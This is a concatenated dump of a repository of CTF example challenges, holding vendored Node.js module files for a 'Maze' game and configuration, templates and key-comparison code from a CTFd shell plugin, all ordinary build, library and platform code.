$(MAKEFILE_LIST)),$(MAKEFILE_LIST)) 4 | THIS_DIR:=$(shell cd $(dir $(THIS_MAKEFILE_PATH));pwd) 5 | 6 | # BIN directory 7 | BIN := $(THIS_DIR)/node_modules/.bin 8 | 9 | # applications 10 | NODE ?= $(shell which node) 11 | YARN ?= $(shell which yarn) 12 | PKG ?= $(if $(YARN),$(YARN),$(NODE) $(shell which npm)) 13 | BROWSERIFY ?= $(NODE) $(BIN)/browserify 14 | 15 | all: dist/debug.js 16 | 17 | install: node_modules 18 | 19 | clean: 20 | @rm -rf dist 21 | 22 | dist: 23 | @mkdir -p $@ 24 | 25 | dist/debug.js: node_modules browser.js debug.js dist 26 | @$(BROWSERIFY) \ 27 | --standalone debug \ 28 | . > $@ 29 | 30 | distclean: clean 31 | @rm -rf node_modules 32 | 33 | node_modules: package.json 34 | @NODE_ENV= $(PKG) install 35 | @touch node_modules 36 | 37 | .PHONY: all install clean distclean 38 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-client/node_modules/debug/Makefile: -------------------------------------------------------------------------------- 1 | 2 | # get Makefile directory name: http://stackoverflow.com/a/5982798/376773 3 | THIS_MAKEFILE_PATH:=$(word $(words $(MAKEFILE_LIST)),$(MAKEFILE_LIST)) 4 | THIS_DIR:=$(shell cd $(dir $(THIS_MAKEFILE_PATH));pwd) 5 | 6 | # BIN directory 7 | BIN := $(THIS_DIR)/node_modules/.bin 8 | 9 | # applications 10 | NODE ?= $(shell which node) 11 | YARN ?= $(shell which yarn) 12 | PKG ?= $(if $(YARN),$(YARN),$(NODE) $(shell which npm)) 13 | BROWSERIFY ?= $(NODE) $(BIN)/browserify 14 | 15 | all: dist/debug.js 16 | 17 | install: node_modules 18 | 19 | clean: 20 | @rm -rf dist 21 | 22 | dist: 23 | @mkdir -p $@ 24 | 25 | dist/debug.js: node_modules browser.js debug.js dist 26 | @$(BROWSERIFY) \ 27 | --standalone debug \ 28 | . > $@ 29 | 30 | distclean: clean 31 | @rm -rf node_modules 32 | 33 | node_modules: package.json 34 | @NODE_ENV= $(PKG) install 35 | @touch node_modules 36 | 37 | .PHONY: all install clean distclean 38 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-client/node_modules/debug/Makefile: -------------------------------------------------------------------------------- 1 | 2 | # get Makefile directory name: http://stackoverflow.com/a/5982798/376773 3 | THIS_MAKEFILE_PATH:=$(word $(words $(MAKEFILE_LIST)),$(MAKEFILE_LIST)) 4 | THIS_DIR:=$(shell cd $(dir $(THIS_MAKEFILE_PATH));pwd) 5 | 6 | # BIN directory 7 | BIN := $(THIS_DIR)/node_modules/.bin 8 | 9 | # applications 10 | NODE ?= $(shell which node) 11 | YARN ?= $(shell which yarn) 12 | PKG ?= $(if $(YARN),$(YARN),$(NODE) $(shell which npm)) 13 | BROWSERIFY ?= $(NODE) $(BIN)/browserify 14 | 15 | all: dist/debug.js 16 | 17 | install: node_modules 18 | 19 | clean: 20 | @rm -rf dist 21 | 22 | dist: 23 | @mkdir -p $@ 24 | 25 | dist/debug.js: node_modules browser.js debug.js dist 26 | @$(BROWSERIFY) \ 27 | --standalone debug \ 28 | . > $@ 29 | 30 | distclean: clean 31 | @rm -rf node_modules 32 | 33 | node_modules: package.json 34 | @NODE_ENV= $(PKG) install 35 | @touch node_modules 36 | 37 | .PHONY: all install clean distclean 38 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-adapter/node_modules/debug/Makefile: -------------------------------------------------------------------------------- 1 | 2 | # get Makefile directory name: http://stackoverflow.com/a/5982798/376773 3 | THIS_MAKEFILE_PATH:=$(word $(words $(MAKEFILE_LIST)),$(MAKEFILE_LIST)) 4 | THIS_DIR:=$(shell cd $(dir $(THIS_MAKEFILE_PATH));pwd) 5 | 6 | # BIN directory 7 | BIN := $(THIS_DIR)/node_modules/.bin 8 | 9 | # applications 10 | NODE ?= $(shell which node) 11 | YARN ?= $(shell which yarn) 12 | PKG ?= $(if $(YARN),$(YARN),$(NODE) $(shell which npm)) 13 | BROWSERIFY ?= $(NODE) $(BIN)/browserify 14 | 15 | all: dist/debug.js 16 | 17 | install: node_modules 18 | 19 | clean: 20 | @rm -rf dist 21 | 22 | dist: 23 | @mkdir -p $@ 24 | 25 | dist/debug.js: node_modules browser.js debug.js dist 26 | @$(BROWSERIFY) \ 27 | --standalone debug \ 28 | . > $@ 29 | 30 | distclean: clean 31 | @rm -rf node_modules 32 | 33 | node_modules: package.json 34 | @NODE_ENV= $(PKG) install 35 | @touch node_modules 36 | 37 | .PHONY: all install clean distclean 38 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/js/templates/challenges/standard/standard-challenge-script.js: -------------------------------------------------------------------------------- 1 | $('#submit-key').unbind('click'); 2 | $('#submit-key').click(function (e) { 3 | e.preventDefault(); 4 | submitkey($('#chal-id').val(), $('#answer-input').val(), $('#nonce').val()) 5 | }); 6 | 7 | $("#answer-input").keyup(function(event){ 8 | if(event.keyCode == 13){ 9 | $("#submit-key").click(); 10 | } 11 | }); 12 | 13 | $(".input-field").bind({ 14 | focus: function() { 15 | $(this).parent().addClass('input--filled' ); 16 | $label = $(this).siblings(".input-label"); 17 | }, 18 | blur: function() { 19 | if ($(this).val() === '') { 20 | $(this).parent().removeClass('input--filled' ); 21 | $label = $(this).siblings(".input-label"); 22 | $label.removeClass('input--hide' ); 23 | } 24 | } 25 | }); 26 | 27 | $('.chal-desc').html(marked($('.chal-desc').html(), {'gfm':true, 'breaks':true})); 28 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/plugins/shell-plugin/shell-templates/shell.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block content %} 3 | 4 | 20 | 21 |
22 |
23 | × 24 |

Use the username and password you registered with to log in.

25 |

You may also log in over ssh at shell.ctf.tamu.edu:2222

26 |
27 |
28 | 29 |
30 |
31 | {% endblock %} 32 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/js/templates/keys/regex/edit-regex-modal.hbs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/js/templates/keys/static/edit-static-modal.hbs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/migrations/alembic.ini: -------------------------------------------------------------------------------- 1 | # A generic, single database configuration. 2 | 3 | [alembic] 4 | # template used to generate migration files 5 | # file_template = %%(rev)s_%%(slug)s 6 | 7 | # set to 'true' to run the environment during 8 | # the 'revision' command, regardless of autogenerate 9 | # revision_environment = false 10 | 11 | 12 | # Logging configuration 13 | [loggers] 14 | keys = root,sqlalchemy,alembic 15 | 16 | [handlers] 17 | keys = console 18 | 19 | [formatters] 20 | keys = generic 21 | 22 | [logger_root] 23 | level = WARN 24 | handlers = console 25 | qualname = 26 | 27 | [logger_sqlalchemy] 28 | level = WARN 29 | handlers = 30 | qualname = sqlalchemy.engine 31 | 32 | [logger_alembic] 33 | level = INFO 34 | handlers = 35 | qualname = alembic 36 | 37 | [handler_console] 38 | class = StreamHandler 39 | args = (sys.stderr,) 40 | level = NOTSET 41 | formatter = generic 42 | 43 | [formatter_generic] 44 | format = %(levelname)-5.5s [%(name)s] %(message)s 45 | datefmt = %H:%M:%S 46 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/content-disposition/HISTORY.md: -------------------------------------------------------------------------------- 1 | 0.5.1 / 2016-01-17 2 | ================== 3 | 4 | * perf: enable strict mode 5 | 6 | 0.5.0 / 2014-10-11 7 | ================== 8 | 9 | * Add `parse` function 10 | 11 | 0.4.0 / 2014-09-21 12 | ================== 13 | 14 | * Expand non-Unicode `filename` to the full ISO-8859-1 charset 15 | 16 | 0.3.0 / 2014-09-20 17 | ================== 18 | 19 | * Add `fallback` option 20 | * Add `type` option 21 | 22 | 0.2.0 / 2014-09-19 23 | ================== 24 | 25 | * Reduce ambiguity of file names with hex escape in buggy browsers 26 | 27 | 0.1.2 / 2014-09-19 28 | ================== 29 | 30 | * Fix periodic invalid Unicode filename header 31 | 32 | 0.1.1 / 2014-09-19 33 | ================== 34 | 35 | * Fix invalid characters appearing in `filename*` parameter 36 | 37 | 0.1.0 / 2014-09-18 38 | ================== 39 | 40 | * Make the `filename` argument optional 41 | 42 | 0.0.0 / 2014-09-18 43 | ================== 44 | 45 | * Initial release 46 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/README.md: -------------------------------------------------------------------------------- 1 | ![](https://raw.githubusercontent.com/CTFd/CTFd/master/CTFd/static/original/img/logo.png) 2 | ==== 3 | 4 | [![Build Status](https://travis-ci.org/CTFd/CTFd.svg?branch=master)](https://travis-ci.org/CTFd/CTFd) 5 | [![CTFd Slack](https://slack.ctfd.io/badge.svg)](https://slack.ctfd.io/) 6 | 7 | CTFd is a CTF in a can. Easily modifiable and has everything you need to run a jeopardy style CTF. 8 | 9 | ## Install 10 | 1. `./prepare.sh` to install dependencies using apt. 11 | 2. Modify [CTFd/config.py](https://github.com/CTFd/CTFd/blob/master/CTFd/config.py) to your liking. 12 | 3. Use `python serve.py` in a terminal to drop into debug mode. 13 | 4. [Here](https://github.com/CTFd/CTFd/wiki/Deployment) are some deployment options 14 | 15 | ## Live Demo 16 | https://demo.ctfd.io/ 17 | 18 | ## Reverse Engineering Module 19 | https://reversing.ctfd.io/ 20 | 21 | ## Credits 22 | * Logo by [Laura Barbera](http://www.laurabb.com/) 23 | * Theme by [Christopher Thompson](https://github.com/breadchris) 24 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parsejson/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * JSON parse. 3 | * 4 | * @see Based on jQuery#parseJSON (MIT) and JSON2 5 | * @api private 6 | */ 7 | 8 | var rvalidchars = /^[\],:{}\s]*$/; 9 | var rvalidescape = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g; 10 | var rvalidtokens = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g; 11 | var rvalidbraces = /(?:^|:|,)(?:\s*\[)+/g; 12 | var rtrimLeft = /^\s+/; 13 | var rtrimRight = /\s+$/; 14 | 15 | module.exports = function parsejson(data) { 16 | if ('string' != typeof data || !data) { 17 | return null; 18 | } 19 | 20 | data = data.replace(rtrimLeft, '').replace(rtrimRight, ''); 21 | 22 | // Attempt to parse using the native JSON parser first 23 | if (global.JSON && JSON.parse) { 24 | return JSON.parse(data); 25 | } 26 | 27 | if (rvalidchars.test(data.replace(rvalidescape, '@') 28 | .replace(rvalidtokens, ']') 29 | .replace(rvalidbraces, ''))) { 30 | return (new Function('return ' + data))(); 31 | } 32 | }; -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-adapter/History.md: -------------------------------------------------------------------------------- 1 | 2 | 0.5.0 / 2016-11-20 3 | ================== 4 | 5 | * [docs] Fix typo in Readme.md (#37) 6 | * [chore] Bump socket.io-parser to version 2.3.1 (#43) 7 | * [chore] Bump debug to version 2.3.3 (#42) 8 | * [feature] Add clientRooms method (#41) 9 | 10 | 0.4.0 / 2015-12-03 11 | ================== 12 | 13 | * package: bump `debug` 14 | * use a `Room` class to efficiently track room size 15 | * allow `clients(fn)` 16 | * call the callback on `delAll` 17 | 18 | 0.3.1 / 2014-10-27 19 | ================== 20 | 21 | * bump parser version 22 | * fix room autopruning 23 | * add autoprunning of empty rooms 24 | * rooms are now created as objects 25 | * added the repository field. 26 | * updated the debug dependency. 27 | 28 | 0.3.0 / 2014-05-30 29 | ================== 30 | 31 | * bump `socket.io-parser` for binary ack fix 32 | 33 | 0.2.0 / 2014-03-14 34 | ================== 35 | 36 | * upgraded faster parser 37 | 38 | 0.1.0 / 2014-03-07 39 | ================== 40 | 41 | * initial commit 42 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parseurl/HISTORY.md: -------------------------------------------------------------------------------- 1 | 1.3.1 / 2016-01-17 2 | ================== 3 | 4 | * perf: enable strict mode 5 | 6 | 1.3.0 / 2014-08-09 7 | ================== 8 | 9 | * Add `parseurl.original` for parsing `req.originalUrl` with fallback 10 | * Return `undefined` if `req.url` is `undefined` 11 | 12 | 1.2.0 / 2014-07-21 13 | ================== 14 | 15 | * Cache URLs based on original value 16 | * Remove no-longer-needed URL mis-parse work-around 17 | * Simplify the "fast-path" `RegExp` 18 | 19 | 1.1.3 / 2014-07-08 20 | ================== 21 | 22 | * Fix typo 23 | 24 | 1.1.2 / 2014-07-08 25 | ================== 26 | 27 | * Seriously fix Node.js 0.8 compatibility 28 | 29 | 1.1.1 / 2014-07-08 30 | ================== 31 | 32 | * Fix Node.js 0.8 compatibility 33 | 34 | 1.1.0 / 2014-07-08 35 | ================== 36 | 37 | * Incorporate URL href-only parse fast-path 38 | 39 | 1.0.1 / 2014-03-08 40 | ================== 41 | 42 | * Add missing `require` 43 | 44 | 1.0.0 / 2014-03-08 45 | ================== 46 | 47 | * Genesis from `connect` 48 | -------------------------------------------------------------------------------- /examples/challenges/Maze/server/player.js: -------------------------------------------------------------------------------- 1 | //Some ideas on how to run a game server taken from: 2 | //https://github.com/xicombd/phaser-multiplayer-game 3 | 4 | //stores all the functions and info needed for the server to keep track of players who are connected 5 | 6 | var Player = function (startX, startY, startAngle) { 7 | var x = startX; //current x coordinate 8 | var y = startY; //current y coordinate 9 | var angle = startAngle; //current angle 10 | var id; //unique id number 11 | 12 | var getX = function () { 13 | return x 14 | } 15 | 16 | var getY = function () { 17 | return y 18 | } 19 | var getAngle = function () { 20 | return angle 21 | } 22 | 23 | var setX = function (newX) { 24 | x = newX 25 | } 26 | 27 | var setY = function (newY) { 28 | y = newY 29 | } 30 | 31 | var setAngle = function (newAngle) { 32 | angle = newAngle 33 | } 34 | 35 | return { 36 | getX: getX, 37 | getY: getY, 38 | getAngle: getAngle, 39 | setX: setX, 40 | setY: setY, 41 | setAngle: setAngle, 42 | id: id, 43 | } 44 | } 45 | 46 | module.exports = Player; 47 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | lib/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | *.egg-info/ 22 | .installed.cfg 23 | *.egg 24 | 25 | # PyInstaller 26 | # Usually these files are written by a python script from a template 27 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 28 | *.manifest 29 | *.spec 30 | 31 | # Installer logs 32 | pip-log.txt 33 | pip-delete-this-directory.txt 34 | 35 | # Unit test / coverage reports 36 | htmlcov/ 37 | .tox/ 38 | .coverage 39 | .cache 40 | nosetests.xml 41 | coverage.xml 42 | 43 | # Translations 44 | *.mo 45 | *.pot 46 | 47 | # Django stuff: 48 | *.log 49 | 50 | # Sphinx documentation 51 | docs/_build/ 52 | 53 | # PyBuilder 54 | target/ 55 | 56 | .DS_Store 57 | 58 | *.log 59 | .idea/ 60 | CTFd/static/uploads 61 | CTFd/uploads 62 | .data/ 63 | .ctfd_secret_key 64 | .*.swp 65 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parseqs/test.js: -------------------------------------------------------------------------------- 1 | var assert = require('better-assert'); 2 | var expect = require('expect.js'); 3 | var util = require('./index.js'); 4 | 5 | describe('querystring test suite', function(){ 6 | it('should parse a querystring and return an object', function () { 7 | 8 | // Single assignment 9 | var queryObj = util.decode("foo=bar"); 10 | expect(queryObj.foo).to.be("bar"); 11 | 12 | // Multiple assignments 13 | queryObj = util.decode("france=paris&germany=berlin"); 14 | expect(queryObj.france).to.be("paris"); 15 | expect(queryObj.germany).to.be("berlin"); 16 | 17 | // Assignments containing non-alphanumeric characters 18 | queryObj = util.decode("india=new%20delhi"); 19 | expect(queryObj.india).to.be("new delhi"); 20 | }); 21 | 22 | it('should construct a query string from an object', function () { 23 | expect(util.encode({ a: 'b' })).to.be('a=b'); 24 | expect(util.encode({ a: 'b', c: 'd' })).to.be('a=b&c=d'); 25 | expect(util.encode({ a: 'b', c: 'tobi rocks' })).to.be('a=b&c=tobi%20rocks'); 26 | }); 27 | }); 28 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/range-parser/HISTORY.md: -------------------------------------------------------------------------------- 1 | 1.2.0 / 2016-06-01 2 | ================== 3 | 4 | * Add `combine` option to combine overlapping ranges 5 | 6 | 1.1.0 / 2016-05-13 7 | ================== 8 | 9 | * Fix incorrectly returning -1 when there is at least one valid range 10 | * perf: remove internal function 11 | 12 | 1.0.3 / 2015-10-29 13 | ================== 14 | 15 | * perf: enable strict mode 16 | 17 | 1.0.2 / 2014-09-08 18 | ================== 19 | 20 | * Support Node.js 0.6 21 | 22 | 1.0.1 / 2014-09-07 23 | ================== 24 | 25 | * Move repository to jshttp 26 | 27 | 1.0.0 / 2013-12-11 28 | ================== 29 | 30 | * Add repository to package.json 31 | * Add MIT license 32 | 33 | 0.0.4 / 2012-06-17 34 | ================== 35 | 36 | * Change ret -1 for unsatisfiable and -2 when invalid 37 | 38 | 0.0.3 / 2012-06-17 39 | ================== 40 | 41 | * Fix last-byte-pos default to len - 1 42 | 43 | 0.0.2 / 2012-06-14 44 | ================== 45 | 46 | * Add `.type` 47 | 48 | 0.0.1 / 2012-06-11 49 | ================== 50 | 51 | * Initial release 52 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/mixins.less: -------------------------------------------------------------------------------- 1 | // Mixins 2 | // -------------------------- 3 | 4 | .fa-icon() { 5 | display: inline-block; 6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | 14 | .fa-icon-rotate(@degrees, @rotation) { 15 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation); 16 | -webkit-transform: rotate(@degrees); 17 | -ms-transform: rotate(@degrees); 18 | transform: rotate(@degrees); 19 | } 20 | 21 | .fa-icon-flip(@horiz, @vert, @rotation) { 22 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation, mirror=1); 23 | -webkit-transform: scale(@horiz, @vert); 24 | -ms-transform: scale(@horiz, @vert); 25 | transform: scale(@horiz, @vert); 26 | } 27 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/mixins.less: -------------------------------------------------------------------------------- 1 | // Mixins 2 | // -------------------------- 3 | 4 | .fa-icon() { 5 | display: inline-block; 6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | 14 | .fa-icon-rotate(@degrees, @rotation) { 15 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation); 16 | -webkit-transform: rotate(@degrees); 17 | -ms-transform: rotate(@degrees); 18 | transform: rotate(@degrees); 19 | } 20 | 21 | .fa-icon-flip(@horiz, @vert, @rotation) { 22 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation, mirror=1); 23 | -webkit-transform: scale(@horiz, @vert); 24 | -ms-transform: scale(@horiz, @vert); 25 | transform: scale(@horiz, @vert); 26 | } 27 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/express/lib/middleware/query.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * express 3 | * Copyright(c) 2009-2013 TJ Holowaychuk 4 | * Copyright(c) 2013 Roman Shtylman 5 | * Copyright(c) 2014-2015 Douglas Christopher Wilson 6 | * MIT Licensed 7 | */ 8 | 9 | 'use strict'; 10 | 11 | /** 12 | * Module dependencies. 13 | */ 14 | 15 | var parseUrl = require('parseurl'); 16 | var qs = require('qs'); 17 | 18 | /** 19 | * @param {Object} options 20 | * @return {Function} 21 | * @api public 22 | */ 23 | 24 | module.exports = function query(options) { 25 | var opts = Object.create(options || null); 26 | var queryparse = qs.parse; 27 | 28 | if (typeof options === 'function') { 29 | queryparse = options; 30 | opts = undefined; 31 | } 32 | 33 | if (opts !== undefined && opts.allowPrototypes === undefined) { 34 | // back-compat for qs module 35 | opts.allowPrototypes = true; 36 | } 37 | 38 | return function query(req, res, next){ 39 | if (!req.query) { 40 | var val = parseUrl(req).query; 41 | req.query = queryparse(val, opts); 42 | } 43 | 44 | next(); 45 | }; 46 | }; 47 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ms/README.md: -------------------------------------------------------------------------------- 1 | # ms.js: miliseconds conversion utility 2 | 3 | ```js 4 | ms('2 days') // 172800000 5 | ms('1d') // 86400000 6 | ms('10h') // 36000000 7 | ms('2.5 hrs') // 9000000 8 | ms('2h') // 7200000 9 | ms('1m') // 60000 10 | ms('5s') // 5000 11 | ms('100') // 100 12 | ``` 13 | 14 | ```js 15 | ms(60000) // "1m" 16 | ms(2 * 60000) // "2m" 17 | ms(ms('10 hours')) // "10h" 18 | ``` 19 | 20 | ```js 21 | ms(60000, { long: true }) // "1 minute" 22 | ms(2 * 60000, { long: true }) // "2 minutes" 23 | ms(ms('10 hours'), { long: true }) // "10 hours" 24 | ``` 25 | 26 | - Node/Browser compatible. Published as [`ms`](https://www.npmjs.org/package/ms) in [NPM](http://nodejs.org/download). 27 | - If a number is supplied to `ms`, a string with a unit is returned. 28 | - If a string that contains the number is supplied, it returns it as 29 | a number (e.g: it returns `100` for `'100'`). 30 | - If you pass a string with a number and a valid unit, the number of 31 | equivalent ms is returned. 32 | 33 | ## License 34 | 35 | MIT 36 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_mixins.scss: -------------------------------------------------------------------------------- 1 | // Mixins 2 | // -------------------------- 3 | 4 | @mixin fa-icon() { 5 | display: inline-block; 6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | 14 | @mixin fa-icon-rotate($degrees, $rotation) { 15 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); 16 | -webkit-transform: rotate($degrees); 17 | -ms-transform: rotate($degrees); 18 | transform: rotate($degrees); 19 | } 20 | 21 | @mixin fa-icon-flip($horiz, $vert, $rotation) { 22 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); 23 | -webkit-transform: scale($horiz, $vert); 24 | -ms-transform: scale($horiz, $vert); 25 | transform: scale($horiz, $vert); 26 | } 27 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_mixins.scss: -------------------------------------------------------------------------------- 1 | // Mixins 2 | // -------------------------- 3 | 4 | @mixin fa-icon() { 5 | display: inline-block; 6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | 14 | @mixin fa-icon-rotate($degrees, $rotation) { 15 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); 16 | -webkit-transform: rotate($degrees); 17 | -ms-transform: rotate($degrees); 18 | transform: rotate($degrees); 19 | } 20 | 21 | @mixin fa-icon-flip($horiz, $vert, $rotation) { 22 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); 23 | -webkit-transform: scale($horiz, $vert); 24 | -ms-transform: scale($horiz, $vert); 25 | transform: scale($horiz, $vert); 26 | } 27 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/plugins/keys/__init__.py: -------------------------------------------------------------------------------- 1 | import re 2 | import string 3 | import hmac 4 | 5 | 6 | class BaseKey(object): 7 | id = None 8 | name = None 9 | 10 | @staticmethod 11 | def compare(self, saved, provided): 12 | return True 13 | 14 | class CTFdStaticKey(BaseKey): 15 | id = 0 16 | name = "static" 17 | 18 | @staticmethod 19 | def compare(saved, provided): 20 | if len(saved) != len(provided): 21 | return False 22 | result = 0 23 | for x, y in zip(saved, provided): 24 | result |= ord(x) ^ ord(y) 25 | return result == 0 26 | 27 | 28 | class CTFdRegexKey(BaseKey): 29 | id = 1 30 | name = "regex" 31 | 32 | @staticmethod 33 | def compare(saved, provided): 34 | res = re.match(saved, provided, re.IGNORECASE) 35 | return res and res.group() == provided 36 | 37 | 38 | KEY_CLASSES = { 39 | 0 : CTFdStaticKey, 40 | 1 : CTFdRegexKey 41 | } 42 | 43 | 44 | def get_key_class(class_id): 45 | cls = KEY_CLASSES.get(class_id) 46 | if cls is None: 47 | raise KeyError 48 | return cls -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Andrew Meserole 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/after/LICENCE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2011 Raynos. 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in 11 | all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | THE SOFTWARE. -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/to-array/LICENCE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2012 Raynos. 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in 11 | all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | THE SOFTWARE. -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/mime/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2010 Benjamin Thomas, Robert Kieffer 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 